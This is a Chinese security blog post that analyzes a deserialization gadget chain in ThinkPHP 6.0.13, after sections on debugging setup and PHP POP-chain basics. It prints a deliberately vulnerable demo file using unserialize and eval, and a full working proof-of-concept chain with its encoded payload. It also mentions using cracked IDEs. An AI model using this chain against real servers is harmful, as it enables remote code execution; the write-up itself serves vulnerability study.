天天看點

ThinkPHP最新版6.0.13 0day利用鍊分析

作者:區塊軟體開發

ThinkPHP最新版6.0.13 0day利用鍊分析

0x01 ThinkPHP版本梳理

截止到2022年10月17日,6.0.x系列最新版是V6.0.13(2022年07月15日釋出)

截止到2022年10月17日,5.1.x系列最新版是V5.1.41(2021年01月12日釋出)

截止到2022年10月17日,5.0.x系列最新版是V5.0.24(2019年01月11日釋出)

作者在2019年02月14日釋出V5.2 RC1後,沒有再釋出過V5.2系列,而是在2019年04月22日釋出V6.0.0 RC2,有理由懷疑V6.0系列接替了V5.2系列

thinkphp6及以上,安裝需要使用composer

0x02 Mac下PHP內建環境踩坑

php內建環境,之前在windows下用phpstudy,自從換了mac,什麼都要重新來。。

首選使用破解版MAMP Pro,但我這邊下載下傳後安裝報錯(後經查閱,安裝破解版MAMP Pro可能需要關閉SIP,SIP即macOS的一種保護機制),不想關閉SIP,放棄這個方案,也試過MAMP免費版,但不支援切換php版本,這個不能忍,嘗試phpstudy mac版,發現phpstudy mac版支援切換php版本,其他功能界面也和phpstudy windows版基本一緻,就用它了

具體使用phpstudy mac版後發現,啟動phpstudy mac版内置的php解釋器報錯,提示找不到redis.so庫,在php.ini中注釋掉redis.so庫可解決此提醒,but,使用phpstudy内置的php下載下傳composer時又報錯,提示缺少openssl庫,此時需要自己編譯openssl庫,太麻煩了,幹脆換一個php內建環境吧,找來找去,發現MAMP免費版也可以切換php版本(需要一個小技巧,後面會提到),下載下傳後嘗試用内置的php下載下傳安裝composer,成功安裝composer,OK,就用它了

mamp免費版切換php版本技巧,進入mamp下php安裝目錄,由于mamp預設顯示最新的2個版本,是以可将其他版本改個名字來切換版本,如下圖

ThinkPHP最新版6.0.13 0day利用鍊分析

0x03 Mac下ThinkPHP調試環境踩坑

php開發環境,使用phpstorm 2021.1.4,破解方式參考:https://ybdt.me/2022/01/13/如何放心的白嫖四大主流語言IDE/

安裝composer,參考:https://getcomposer.org/download/

在mamp的對應php目錄下安裝composer後,然後建立到/usr/local/bin的軟連接配接

1
2
3
           
ln -s /Applications/MAMP/bin/php/php7.1.33/bin/composer.phar /usr/local/bin/composer

ln -s /Applications/MAMP/bin/php/php7.1.33/bin/php /usr/local/bin/php
           

建立上述軟連接配接後,可從任意位置執行composer及php

安裝指定版本的thinkphp架構

1
           
composer create-project topthink/think tp5.0 5.0.24
           

我這邊composer版本是2.2.18,不是最新版2.4.3,想使用composer安裝thinkphp6的最新版6.0.13會提示找不到,可是php7.1安裝composer最高版本隻能是2.2.18,于是改用php7.4安裝composer,成功安裝到composer 2.4.3,再用composer 2.4.3安裝thinkphp 6.0.13,成功安裝,真是一波三折,如下圖

ThinkPHP最新版6.0.13 0day利用鍊分析

php調試環境,mac下想安裝xdebug需要先通過homebrew安裝php,然後通過pecl安裝xdebug,可是這樣隻能安裝php版本對應的xdebug,不能安裝指定版本的xdebug,可從https://xdebug.org/wizard查詢,目前php版本需要哪個版本的xdebug,結果按照指令安裝的時候,發現缺少phpize,官方文檔并沒有講述mac下缺少phpize該如何安裝,google後發現可能需要編譯安裝,太麻煩了,想想别的辦法,猛地發現,mamp的如下目錄自帶了編譯好的xdebug

1
           
/Applications/MAMP/bin/php/php7.4.21/lib/php/extensions/no-debug-non-zts-20190902
           

不得不說,內建環境真香~

修改php.ini,增加如下

1
2
3
4
5
6
7
8
           
[xdebug]
zend_extension="/Applications/MAMP/bin/php/php7.4.21/lib/php/extensions/no-debug-non-zts-20190902/xdebug.so"
xdebug.remote_enable=1
xdebug.remote_autostart=on
xdebug.remote_log="/var/log/xdebug.log"
xdebug.remote_port=9000
xdebug.remote_handler="dbgp"
xdebug.idekey="PhpStorm"
           
ThinkPHP最新版6.0.13 0day利用鍊分析

Phpstorm配置過程參見:https://juejin.cn/post/6934614190548221960

配置好後,如下圖啟動

ThinkPHP最新版6.0.13 0day利用鍊分析

能看到網頁通路停在了斷點處

ThinkPHP最新版6.0.13 0day利用鍊分析

程式執行停在了斷點處

ThinkPHP最新版6.0.13 0day利用鍊分析

0x04 PHP反序列化漏洞及POP鍊複習

PHP反序列化漏洞原理:服務端在處理使用者傳入的序列化資料時,需要調用unserialize(),php中調用unserialize()會觸發魔法方法__wakekup()、__destruct(),如果魔法方法中包含了危險函數或間接包含危險函數,則攻擊者可構造惡意的序列化資料,在服務端反序列化的時候造成危險函數的執行,

PHP反序列化POP鍊原理:由于類反序列化後隻包含屬性不包含方法,也就是說我們構造的序列化資料隻能操縱類的屬性,不能操縱方法,隻能通過自動調用魔法方法來調用方法,這個時候如果魔法方法中不是直接包含危險函數,就需要向上回溯,一層一層跟蹤,也就是所謂的POP鍊,通常是尋找包含危險函數的同名方法、或者更複雜的,觸發各種魔法方法,最終調用危險函數

詳細講解可參考:

https://johnfrod.top/安全/php反序列化漏洞總結/

https://www.cnblogs.com/bmjoker/p/13742666.html

如下是一個存在反序列化漏洞的檔案vuln1.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
           
class Demo {
    var $test;
    
    function __construct() {
        $this->test = new L();
    }
 
    function __destruct() {
        $this->test->action();
    }
}
 
class L {
    function action() {
        echo "function action() in class L";
    }
}
 
class Evil {
    var $test2;
    
    function action() {
        eval($this->test2);
    }
}
 
unserialize($_GET['test']);
           

由上述Demo可知,如果構造一個Demo類,裡面執行個體化的是類Evil,反序列化時自動調用__destruct(),__destruct()中調用action(),action()中調用危險函數eval,則最終導緻代碼執行,同時不要忘記将惡意代碼指派給$test2,payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
           
class Demo {
    var $test;

    function __construct() {
        $this->test = new Evil();
        $this->test->test2 = "phpinfo();";
    }

    function __destruct() {
        $this->test->action();
    }
}

class Evil {
    var $test2;

    function action(){
        eval($this->test2);
    }
}

$d = new demo();
$data = serialize($d);
echo $data;

//上述輸出
//O:4:"Demo":1:{s:4:"test";O:4:"Evil":1:{s:5:"test2";s:10:"phpinfo();";}}
           

将上述序列化的輸出傳給vuln1.php,執行結果如下圖

ThinkPHP最新版6.0.13 0day利用鍊分析

0x05 ThinkPHP架構複習

網站搭建好後,我們會通路:http://localhost:8888/tp6.0.13/public/index.php,其實這裡的index.php并不是通路的内容,而是一個類似路由的檔案,會請求分發到app/controller/Index.php中的方法index,可以看到其内容也是首頁中出現的内容

ThinkPHP最新版6.0.13 0day利用鍊分析

我們對方法index做個修改

ThinkPHP最新版6.0.13 0day利用鍊分析

可以看到,首頁内容也發生了修改

ThinkPHP最新版6.0.13 0day利用鍊分析

其實通路http://localhost:8888/tp6.0.13/public/index.php相當于通路http://localhost:8888/tp6.0.13/public/index.php/Index/index,隻不過不加的時候,類Index和方法index是作為預設值,如果要通路其他方法,改為其他方法即可

ThinkPHP最新版6.0.13 0day利用鍊分析

詳細講解可參考:

https://www.kancloud.cn/manual/thinkphp6_0/1037485

https://www.kancloud.cn/manual/thinkphp6_0/1037494

0x06 ThinkPHP最新版6.0.13 0day利用鍊分析

截止到2022年10月17日,thinkphp 6.0.x系列最新版是V6.0.13(2022年07月15日釋出),08月14日有人送出了一個反序列化利用鍊,是一個目前尚未修複的0day,下面對它進行一波分析

先用如下poc打一遍

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
           
namespace League\Flysystem\Cached\Storage{
    class Psr6Cache{
          private $pool;
          protected $autosave = false;
          public function __construct($exp)
{
              $this->pool = $exp;
          }
    }
}
namespace think\log{
      class Channel{
          protected $logger;
          protected $lazy = true;
          public function __construct($exp)
{
               $this->logger = $exp;
               $this->lazy = false;
          }
}
}
namespace think{
      class Request{
          protected $url;
          public function __construct()
{
              $this->url = '<?php phpinfo(); ?>';
          }
      }
      class App{
            protected $instances = [];
            public function __construct()
{
                $this->instances = ['think\Request'=>new Request()];
            }
       }
}
namespace think\view\driver{
      class Php{}
}
namespace think\log\driver{
      class Socket{
            protected $config = [];
            protected $app;
            protected $clientArg = [];
            public function __construct()
            {
               $this->config = [
                  'debug'=>true,
                  'force_client_ids' => 1,
                  'allow_client_ids' => '',
                  'format_head' => [new \think\view\driver\Php,'display'], # 利用類和方法
               ];
               $this->app = new \think\App();
               $this->clientArg = ['tabid'=>'1'];
            }
       }
}
namespace{
    $c = new think\log\driver\Socket();
    $b = new think\log\Channel($c);
    $a = new League\Flysystem\Cached\Storage\Psr6Cache($b);
    echo urlencode(serialize($a));
}

//輸出如下
O%3A41%3A%22League%5CFlysystem%5CCached%5CStorage%5CPsr6Cache%22%3A2%3A%7Bs%3A47%3A%22%00League%5CFlysystem%5CCached%5CStorage%5CPsr6Cache%00pool%22%3BO%3A17%3A%22think%5Clog%5CChannel%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00logger%22%3BO%3A23%3A%22think%5Clog%5Cdriver%5CSocket%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00config%22%3Ba%3A4%3A%7Bs%3A5%3A%22debug%22%3Bb%3A1%3Bs%3A16%3A%22force_client_ids%22%3Bi%3A1%3Bs%3A16%3A%22allow_client_ids%22%3Bs%3A0%3A%22%22%3Bs%3A11%3A%22format_head%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A21%3A%22think%5Cview%5Cdriver%5CPhp%22%3A0%3A%7B%7Di%3A1%3Bs%3A7%3A%22display%22%3B%7D%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A9%3A%22think%5CApp%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00instances%22%3Ba%3A1%3A%7Bs%3A13%3A%22think%5CRequest%22%3BO%3A13%3A%22think%5CRequest%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00url%22%3Bs%3A19%3A%22%3C%3Fphp+phpinfo%28%29%3B+%3F%3E%22%3B%7D%7D%7Ds%3A12%3A%22%00%2A%00clientArg%22%3Ba%3A1%3A%7Bs%3A5%3A%22tabid%22%3Bs%3A1%3A%221%22%3B%7D%7Ds%3A7%3A%22%00%2A%00lazy%22%3Bb%3A0%3B%7Ds%3A11%3A%22%00%2A%00autosave%22%3Bb%3A0%3B%7D
           

傳入payload,如下圖

ThinkPHP最新版6.0.13 0day利用鍊分析

根據poc可以看到漏洞代碼出現在

ThinkPHP最新版6.0.13 0day利用鍊分析

這種架構向上回溯太麻煩了,采用poc+動态debug進行分析,基于之前的thinkphp架構複習,我們在vuln方法中加入漏洞代碼,并在反序列化處打上斷點,如下圖

ThinkPHP最新版6.0.13 0day利用鍊分析

此處是反序列化入口__destruct(),如下圖

ThinkPHP最新版6.0.13 0day利用鍊分析

一步一步跟進,跟進到下圖所示的語句,可以看到此時autosave值為false,進入save()

ThinkPHP最新版6.0.13 0day利用鍊分析

繼續跟蹤,最終跟到觸達代碼執行的地方

ThinkPHP最新版6.0.13 0day利用鍊分析

from https://ybdt.me/

繼續閱讀